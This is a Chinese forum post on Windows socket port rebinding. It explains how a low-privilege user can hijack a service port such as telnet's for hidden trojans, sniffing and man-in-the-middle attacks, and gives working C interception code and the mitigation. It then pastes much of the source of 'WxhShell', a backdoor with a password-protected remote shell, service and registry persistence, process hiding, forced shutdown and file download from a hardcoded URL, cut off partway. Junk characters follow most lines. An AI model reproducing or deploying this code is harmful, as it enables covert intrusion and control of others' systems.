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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Jv 6nlK`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x^M5D+o  
0gv3v@QO  
  saddr.sin_family = AF_INET; cYq']$]  
"LP, TC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1IOo?e=/bM  
_gPVmGG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8u:v:>D.'  
as\<nPT{Fj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^(dGO)/  
E'&OOEMN-  
  这意味着什么?意味着可以进行如下的攻击: &AQg'|  
C;d|\[7Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NRHr6!f>  
,u ?wYW;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >}dTO/  
]HJ{dcF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vDK:v$g  
;Ch+X$m9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =2.tu*!C  
zJnL<Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )d770Xg+  
^Txu ~r0@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `uIx/.L  
Qfkh0DX B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (aDb^(]>  
>0Fxyv8  
  #include |dl0B26x  
  #include "t (1tWO1o  
  #include ! F0rd9  
  #include    _KSfP7VU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?o(ZTlT  
  int main() Aj8l%'h[  
  { njy~   
  WORD wVersionRequested; >zPO>.?h7T  
  DWORD ret; K;<NBnH  
  WSADATA wsaData; >u9id>+  
  BOOL val; LPq*ZZK  
  SOCKADDR_IN saddr; ?r -\%_J_(  
  SOCKADDR_IN scaddr; N5q}::Odc  
  int err; u"`5  
  SOCKET s; (TT3(|v  
  SOCKET sc; :DOr!PNA  
  int caddsize; o9KyAP$2  
  HANDLE mt; bc3|;O  
  DWORD tid;   avu*>SB  
  wVersionRequested = MAKEWORD( 2, 2 ); Ij;==f~G  
  err = WSAStartup( wVersionRequested, &wsaData ); x !#Ma  
  if ( err != 0 ) { ]k[ Q]:q  
  printf("error!WSAStartup failed!\n"); ewb*?In  
  return -1; ntrY =Y  
  } 8Zcol$XS'  
  saddr.sin_family = AF_INET; =&di4'`  
   b34zhZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2x7(}+eD  
c&E*KfOG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bn0"M+7)f  
  saddr.sin_port = htons(23); a za o`z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o/tVcv  
  { C-s>1\I  
  printf("error!socket failed!\n"); 3+CSQb8  
  return -1; 8fJR{jD(s  
  } ~/^y.SsWM  
  val = TRUE; mV6#!_"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <u6c2!I{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) MZCL:#  
  { .@y{)/  
  printf("error!setsockopt failed!\n"); bWGyLo,  
  return -1; 6@"Vqm|HD  
  } @IEI%vH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o\_ Td  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X4d Xm>*?=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gbYLA a  
> ]>0KQfO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J}x>~?W  
  { 4^ c!_K&&  
  ret=GetLastError(); x1|Da$2  
  printf("error!bind failed!\n"); ;V|M3  
  return -1; ^7i^ \w0  
  } $cRcap  
  listen(s,2); [Z#+gh  
  while(1) Of1IdE6~  
  { pBlRd{#fL  
  caddsize = sizeof(scaddr); 4fu'QZ(}  
  //接受连接请求  5Waw?1GL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wr]O  
  if(sc!=INVALID_SOCKET) 4a\n4KO X  
  { xCR; K]!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]XmQ]Yit  
  if(mt==NULL) whV&qe;sw  
  { 6P0y-%[Gk  
  printf("Thread Creat Failed!\n"); c Dfx)sL  
  break; LiiK3!^i  
  } 4st~3,lR$  
  } t{+ M|Y  
  CloseHandle(mt); o)0C-yO0qf  
  } f&6w;T=  
  closesocket(s); 6{5q@9F  
  WSACleanup(); D~cW ]2  
  return 0; =YWT|%^uX  
  }   mG0L !5  
  DWORD WINAPI ClientThread(LPVOID lpParam) aML#Z|n  
  { ' be P  
  SOCKET ss = (SOCKET)lpParam; u8 |@|t  
  SOCKET sc; C>AcK#-x,{  
  unsigned char buf[4096]; 5iP8D<;o5  
  SOCKADDR_IN saddr; bBA$}bv  
  long num; J2rvJ2l=t  
  DWORD val; j%#?m2J}  
  DWORD ret; P;j&kuW|zL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :lgHL3yl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H":/Ckok  
  saddr.sin_family = AF_INET; q_-ma_F#s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -<8B,  
  saddr.sin_port = htons(23); ]PeLcB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^&C&~}Zv  
  { yPSVwe|g  
  printf("error!socket failed!\n"); 66/Z\H^d  
  return -1; E^7C _JP  
  } aPprMQ5  
  val = 100; tJff+n>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'P+f|d[  
  { I4rV5;f H4  
  ret = GetLastError(); ojX%RU  
  return -1; NPS .6qY  
  } yb69Q#V2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k69kv9v@J  
  { ~D*b3K 8X  
  ret = GetLastError(); /j11,O?72  
  return -1; I"B8_  
  } f(!E!\&n^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &j3` )N  
  {  GaHA%  
  printf("error!socket connect failed!\n"); K*[9j 0  
  closesocket(sc); M|ms$1x  
  closesocket(ss); !IN @i:m  
  return -1; DUqJ y*F(  
  } w nWgy4:  
  while(1) \$j^_C>  
  { i[PvDv"n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oL#xDG  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +a #lofhv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gv;;!sZ  
  num = recv(ss,buf,4096,0); Jff 79)f  
  if(num>0) JwjI{,jY  
  send(sc,buf,num,0); Rl1$?l6Rf  
  else if(num==0) `ovgWv  
  break; \N?7WQ  
  num = recv(sc,buf,4096,0); Yhe+u\vGs\  
  if(num>0) 3!>/smb !  
  send(ss,buf,num,0); U{"f.Z:Ydo  
  else if(num==0)  '6O|H  
  break; ,6DD=w0r  
  } b"Zq0M0 l  
  closesocket(ss); o_sQQF  
  closesocket(sc); y86))  
  return 0 ; 0D<TF>M;pn  
  } cI3y  
I'dj.  
cs t&0  
========================================================== h20Hg|   
^xt9pa$f  
下边附上一个代码,,WXhSHELL TMqY4;UeL  
ALfiR(!  
========================================================== 3^XVQS***  
t=Jm|wJnUA  
#include "stdafx.h" 3|zgDA  
6%E~p0)i%  
#include <stdio.h> nx B32  
#include <string.h> Q{[@`bZB  
#include <windows.h> Lbsr_*4t  
#include <winsock2.h> 9^au$KoU  
#include <winsvc.h> {M [~E|@D  
#include <urlmon.h> D;jK/2  
#MglHQO+  
#pragma comment (lib, "Ws2_32.lib") Ge^Qar  
#pragma comment (lib, "urlmon.lib") @ ICb Kg:  
0Qp[\ia  
#define MAX_USER   100 // 最大客户端连接数 7-X/>v  
#define BUF_SOCK   200 // sock buffer {\EOo-&A  
#define KEY_BUFF   255 // 输入 buffer J,(7.+`~#  
0aogBg_@K  
#define REBOOT     0   // 重启 3"Yif  
#define SHUTDOWN   1   // 关机 0yz~W(tsm  
S7CV w,2  
#define DEF_PORT   5000 // 监听端口 ' l|R5   
FN!1| 'VK  
#define REG_LEN     16   // 注册表键长度 -TTs.O8P|<  
#define SVC_LEN     80   // NT服务名长度 x#mtS-sw2Q  
>fH*XP>(  
// 从dll定义API vr4O8#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;%W dvnW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1A^1@^{m'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1Cv#nhmp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 84^[/d;!  
E M Q4yK  
// wxhshell配置信息 dMV=jJ%Y  
struct WSCFG { bK4&=#Zh  
  int ws_port;         // 监听端口 x,\!DLq:p  
  char ws_passstr[REG_LEN]; // 口令 R*bmu  
  int ws_autoins;       // 安装标记, 1=yes 0=no B6MkF"J<  
  char ws_regname[REG_LEN]; // 注册表键名 U-g9C.  
  char ws_svcname[REG_LEN]; // 服务名 yUe+":7k.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =Dk7RKoHF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @\jQoaLT$_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _=EZ `!%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h>klTPM>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I+",b4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ak A!:!l  
"r..  
}; OJpj}R  
L M /Ga  
// default Wxhshell configuration \ I:.<2i  
struct WSCFG wscfg={DEF_PORT, aMJ;bQD  
    "xuhuanlingzhe", {cR=N~_EO  
    1, Rh<N);Sl7  
    "Wxhshell", +c) TDH  
    "Wxhshell", #9:2s$O[x  
            "WxhShell Service", bi$VAYn.^  
    "Wrsky Windows CmdShell Service", mxp Y&Y  
    "Please Input Your Password: ", yFjVKp'P  
  1, PS@*qTin  
  "http://www.wrsky.com/wxhshell.exe", Ri @`a  
  "Wxhshell.exe" J633uH}}  
    }; o @KW/RN"  
6t7fa<  
// 消息定义模块 oH X$k{6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uR_F,Mp?%u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uPLErO9Es[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m$:&P|!'p  
char *msg_ws_ext="\n\rExit."; kjE*9bUc  
char *msg_ws_end="\n\rQuit."; Q["t eo]DQ  
char *msg_ws_boot="\n\rReboot..."; ehT%s+aUw  
char *msg_ws_poff="\n\rShutdown..."; 7ZsA5%s=,  
char *msg_ws_down="\n\rSave to "; -DCa   
4pPI'd&/7  
char *msg_ws_err="\n\rErr!"; e_rzA  
char *msg_ws_ok="\n\rOK!"; S4bBafj[I  
]JMl|e  
char ExeFile[MAX_PATH]; Qn|+eLY  
int nUser = 0; Js{= i>D  
HANDLE handles[MAX_USER]; HnU Et/  
int OsIsNt; ,@.EpbB  
i_ QcC  
SERVICE_STATUS       serviceStatus; BJ5}GX!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BQ#L+9%  
m@\ZHbq  
// 函数声明 re`t ]gzb  
int Install(void); <3Gqv9Y&  
int Uninstall(void); :=fvZAWD  
int DownloadFile(char *sURL, SOCKET wsh); iM5vrz`n  
int Boot(int flag); @;Y~frT  
void HideProc(void); _u5dC   
int GetOsVer(void); /S~m)$vu  
int Wxhshell(SOCKET wsl); A,#2^dR  
void TalkWithClient(void *cs); j O8k6<l  
int CmdShell(SOCKET sock); .=<$S#x^Hb  
int StartFromService(void); _~M^ uW^l  
int StartWxhshell(LPSTR lpCmdLine); +S9PML){h  
8omC%a}9m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2"&)W dm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zOB=aG?/  
A'-_TFwW  
// 数据结构和表定义 :2y"3azxk  
SERVICE_TABLE_ENTRY DispatchTable[] = sbS~N*{E  
{ ROdK8*jL  
{wscfg.ws_svcname, NTServiceMain}, _^\$" nw  
{NULL, NULL} v>m n/a  
}; XUmR{A  
v(O=IUa  
// 自我安装 `hrQw)5?r  
int Install(void) XvKFPr0~  
{ GwLFL.Ke  
  char svExeFile[MAX_PATH]; xs!p|  
  HKEY key; JhX=l-?  
  strcpy(svExeFile,ExeFile); ir[jCea,  
, Z ~;U  
// 如果是win9x系统,修改注册表设为自启动 hfrnxeM#~  
if(!OsIsNt) { C@gXT]Q 0}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q p~g P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >/^#Drwb!i  
  RegCloseKey(key); UtJa3ya  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `78V%\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .C bGDZ  
  RegCloseKey(key); 1-VT}J(  
  return 0; fly,-$K>LO  
    } 2R.2D'4)`  
  } UVEz;<5@\  
} J4aB Pq`  
else { ^p=L\SJ  
KQ`=t   
// 如果是NT以上系统,安装为系统服务 ||eAE)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M+xdHBg  
if (schSCManager!=0) R_kQPP  
{ Q@QFV~  
  SC_HANDLE schService = CreateService s;1h-Oq (  
  ( ;[$n=VX`  
  schSCManager, -<f;l _(  
  wscfg.ws_svcname, Q+$Tt7/  
  wscfg.ws_svcdisp, +j[oEI`e  
  SERVICE_ALL_ACCESS, Z|* !y]We  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ph,- sR  
  SERVICE_AUTO_START, cQUC.TZ_  
  SERVICE_ERROR_NORMAL, i7Z=|&  
  svExeFile, ]axh*J3`i  
  NULL, ^g>1U5c  
  NULL, ~?Omy8#  
  NULL, <J{'o`{  
  NULL, I+;-p]~  
  NULL Tg ?x3?kw  
  ); f CcD&<%  
  if (schService!=0) aT!;{+  
  { hOk00az  
  CloseServiceHandle(schService); <4`eQ  
  CloseServiceHandle(schSCManager); P?ep]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Re= WfG  
  strcat(svExeFile,wscfg.ws_svcname); q4 k@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P0GeZ02]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,FQK;BU!lh  
  RegCloseKey(key); NAr1[{^E,  
  return 0; _GoVx=t   
    } KL?)akk  
  } Pz"`MB<'Ik  
  CloseServiceHandle(schSCManager); (pR.Abq  
} \\4Eh2 Y  
} A74920X`W  
,|T7hTn=  
return 1; -yx/7B5@  
} nU z7|y  
NgZUnh3{  
// 自我卸载 z1V#'$_5-  
int Uninstall(void) 6Y384  
{ 6oL1_)  
  HKEY key; Mi7y&~,  
(ywo a  
if(!OsIsNt) { #-# NqX:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !1sU>Xb4J  
  RegDeleteValue(key,wscfg.ws_regname); .ln8|;%  
  RegCloseKey(key); Iy7pt~DJ,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k(s;,B\  
  RegDeleteValue(key,wscfg.ws_regname); O8u3y  
  RegCloseKey(key); ~H6;I$e[  
  return 0; \h{r;#g  
  } G*}F5.>8(  
} saZ>?Owz  
} >_ \<E!j  
else { LM l~yqM  
=y]$0nh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,LYFEq_  
if (schSCManager!=0) (9RslvK L  
{ ?Dsm~bkX[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n(;:*<Rh  
  if (schService!=0) mY&ud>,U:  
  { -uR72f  
  if(DeleteService(schService)!=0) { jUMf6^^  
  CloseServiceHandle(schService); H{G{H=K_  
  CloseServiceHandle(schSCManager); mZvG|P$}  
  return 0; b"j|Bb  
  } #=,(JmQPt  
  CloseServiceHandle(schService); #`SD$;  
  } KLQ!b,=q  
  CloseServiceHandle(schSCManager); kODK@w V-  
} n \G Ry'  
} $1Nd_pD=  
&jQ?v@|1c  
return 1; rR{,)fX;  
} 4sF v?W  
5\4g>5PD  
// 从指定url下载文件 =hH.zrI6e  
int DownloadFile(char *sURL, SOCKET wsh) 5z/Er".P  
{ )mN9(Ob!  
  HRESULT hr; ~6[*q~B  
char seps[]= "/"; DPDe>3Mi[  
char *token;  u\e\'\  
char *file; zA+@FR?  
char myURL[MAX_PATH]; !]?$f=  
char myFILE[MAX_PATH]; P\R27Jd  
g@v s*xE  
strcpy(myURL,sURL); fP-|+Ty O  
  token=strtok(myURL,seps); dE=Ue#1U@5  
  while(token!=NULL) U8QX46Br  
  { CnF |LTi  
    file=token; iU2KEqCm  
  token=strtok(NULL,seps); LLAa1Wq  
  } ~=n#}{/  
pK&I^r   
GetCurrentDirectory(MAX_PATH,myFILE); D&:yMp(  
strcat(myFILE, "\\"); o4^Fo p  
strcat(myFILE, file); @e2}BhB2  
  send(wsh,myFILE,strlen(myFILE),0); x^=M6;:  
send(wsh,"...",3,0); &<x@1,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O}ejWP8>  
  if(hr==S_OK) ) M<vAUF  
return 0; 'ktHPn ,K  
else C;B}3g&  
return 1; Xa 9TS"  
d+L#t  
} (jWss  V1  
<9A@`_';Aq  
// 系统电源模块 Ka_S n  
int Boot(int flag) >v5k{Cbp0  
{ 83ipf"]*  
  HANDLE hToken; !fkep=  
  TOKEN_PRIVILEGES tkp; dj9 ?t  
(Ye>Cp+]  
  if(OsIsNt) { `TKD<&oL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3tS~:6-/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GUB`|is^  
    tkp.PrivilegeCount = 1; _GtBP'iN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; # '|'r+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e(B9liXM  
if(flag==REBOOT) { ug&[ IL~lc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CC >=UF  
  return 0; #VbVs l  
} jFG0`n}I  
else { /\d$/~BFi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UHO_Z  
  return 0; ] gb=  
} S[:xqzyDg  
  } irBDGT~  
  else { g^>#^rLU  
if(flag==REBOOT) { v Y|!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V_^@  
  return 0; ~[PKcEX  
} m>&HuHf  
else { ~4,I7c7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ><?BqRm+  
  return 0; tx7~S Ur  
} vq'c@yw;  
} e_3CSx8Cc  
xl4=++pu)  
return 1; h rN%  
} o@E/r.uK  
-7-['fX  
// win9x进程隐藏模块 ) |#%Czd4  
void HideProc(void) p#d+>7  
{ xBnbF[  
Zf*r2t1&P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZFh+x@  
  if ( hKernel != NULL ) vlWw3>4  
  { $6f\uuTU2"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D$k8^Vs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,\PVC@xJ  
    FreeLibrary(hKernel);  :S %lv  
  } -f(/B9}  
x<(b|2qf  
return; $\Lyi#<  
} 6iezLG 5  
PFSLyV*  
// 获取操作系统版本 W=}Okq)x9I  
int GetOsVer(void) /!FWuRe^  
{ *=F(KZ  
  OSVERSIONINFO winfo; B33$ u3d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <!^ [~`  
  GetVersionEx(&winfo); cSP*f0n,eo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y7u^zH6wj  
  return 1; > R^@Ww;|q  
  else MLVB^<qkeH  
  return 0; j#A%q"]8  
} US&B!Q:v  
5CYo7mJ6+  
// 客户端句柄模块 43:t \  
int Wxhshell(SOCKET wsl) V-O(U*]  
{ CX/(o]  
  SOCKET wsh; P1kB>" bR  
  struct sockaddr_in client; 0`#(Toe{B  
  DWORD myID; =o dkz}bU  
KlxN~/gyik  
  while(nUser<MAX_USER) "`tXA  
{ 0Dv JZ|e  
  int nSize=sizeof(client); !-]C;9 Zd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~XM[>M\qB  
  if(wsh==INVALID_SOCKET) return 1; 8}p8r|d!ls  
<EX7WA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FY0%XW  
if(handles[nUser]==0) $r.U  
  closesocket(wsh); [2Mbk~  
else 1hQN8!:<  
  nUser++; oW}!vf3z  
  } T`YwJ6N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]Tp U"JD  
U\<-mXv  
  return 0; T3J'fjY  
} C9tb\?#  
&K%aw  
// 关闭 socket SOh-,c\C  
void CloseIt(SOCKET wsh) E$\~lcq  
{ 8^ep/b&|  
closesocket(wsh); lvSdY(8  
nUser--; n~0z_;5  
ExitThread(0); Ggm` ~fS  
} Nud,\mXrY[  
mO rWJ~=  
// 客户端请求句柄 G$WOzY(  
void TalkWithClient(void *cs) ?r_kyuU  
{ fZryG  
:J_oj:0r"f  
  SOCKET wsh=(SOCKET)cs; Pi6C/$ K  
  char pwd[SVC_LEN]; 5>0.NiXGf'  
  char cmd[KEY_BUFF]; "cUg>a3  
char chr[1]; i2,U,>.  
int i,j; 1JS2SxF  
7!V @/S}7  
  while (nUser < MAX_USER) { |hzT;  
,{}#8r`+*  
if(wscfg.ws_passstr) { /I{R23o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E)p9eU[#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t%0?N<9YkU  
  //ZeroMemory(pwd,KEY_BUFF); |Fln8wB  
      i=0; C".1+Um  
  while(i<SVC_LEN) { NlPS#  
2Oc$+St~8  
  // 设置超时 {ISE'GJj  
  fd_set FdRead; I<\ '%  
  struct timeval TimeOut; zQ)+/e(8  
  FD_ZERO(&FdRead); 70gg4BS  
  FD_SET(wsh,&FdRead); oVO.@M#  
  TimeOut.tv_sec=8; 4iX-(ir,  
  TimeOut.tv_usec=0; je%M AgW`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P~7.sM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H[&@}v,L  
>IvBU M[Rt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'imU `zeo  
  pwd=chr[0]; p]|LV)R n  
  if(chr[0]==0xd || chr[0]==0xa) { *o?i:LE]  
  pwd=0; Fz"ff4Bx [  
  break; f05d ;  
  } zmFws-+A  
  i++; :[7lTp   
    } MiGcA EF;  
n'w,n1z7  
  // 如果是非法用户,关闭 socket @'jf KW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  -;c  
} :{}_|]>K  
';YgG<u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D'i6",Z>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !$xu(D.  
Eu<r$6Q0}o  
while(1) { {w 5Z7s0  
V'wi^gq  
  ZeroMemory(cmd,KEY_BUFF); d]B= *7]  
v<h;Di@  
      // 自动支持客户端 telnet标准   +<(a}6dt  
  j=0; &^QPkX@p  
  while(j<KEY_BUFF) { AlX3Wv }  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :=!Mh}i  
  cmd[j]=chr[0]; g:~+P e  
  if(chr[0]==0xa || chr[0]==0xd) { TipHV;|e  
  cmd[j]=0; %v=!'?VT  
  break; #+jUhxq  
  } zJl_ t0  
  j++; ,x#ztdvr  
    } McP.9v}H0_  
"sbBe73 m  
  // 下载文件 Lo`F  
  if(strstr(cmd,"http://")) { 4M`Xrfwm'[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); R } %8s*  
  if(DownloadFile(cmd,wsh)) 8F6h#%9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^#SBpLw  
  else GW m4~]0E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VTw/_Hf2p  
  } ~ =.CTm]vf  
  else { i Ci>zJ  
rK=6]j(K  
    switch(cmd[0]) { Ye |G44z  
  I'_v{k5ZI  
  // 帮助 &L3 #:jSk  
  case '?': { [MmM9J["  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UxqWnHH.`  
    break; Q1V2pP+=@  
  } /~hbOs/ L  
  // 安装 2VYvO=KA  
  case 'i': { &9P<qU^N)  
    if(Install()) a@ W7<9fY;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OlGR<X  
    else r%-n*_?.s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TA;,>f*  
    break; uBeNXOre  
    } n t HT  
  // 卸载 j jY{Uq  
  case 'r': { <94WZ?{p  
    if(Uninstall()) |5ONFd e"0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FdxsU DL  
    else [x_s/"Md;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *zQOJsg"e  
    break; l,bZG3,6  
    } wRbw  
  // 显示 wxhshell 所在路径 .TN2s\:]jw  
  case 'p': { l2/ @<0P  
    char svExeFile[MAX_PATH]; jgRCs.6  
    strcpy(svExeFile,"\n\r"); wZ>Y<0,  
      strcat(svExeFile,ExeFile); =J3`@9;  
        send(wsh,svExeFile,strlen(svExeFile),0); ,cQA*;6  
    break; q$>_WF#||  
    } 1n3$V:00  
  // 重启 ~e^)q>Lb7(  
  case 'b': { w2Kq(^?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lU$X4JBzS  
    if(Boot(REBOOT)) ^x3EotQ\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z93nYY$`Y  
    else { ;&mxqY8`'  
    closesocket(wsh); 6ZgNHARS  
    ExitThread(0); p#<nK+6.8  
    } B$7[8h  
    break; ZKQo#!}  
    } yBe(^ n  
  // 关机 ZR mPP  
  case 'd': { ?!m m a\W  
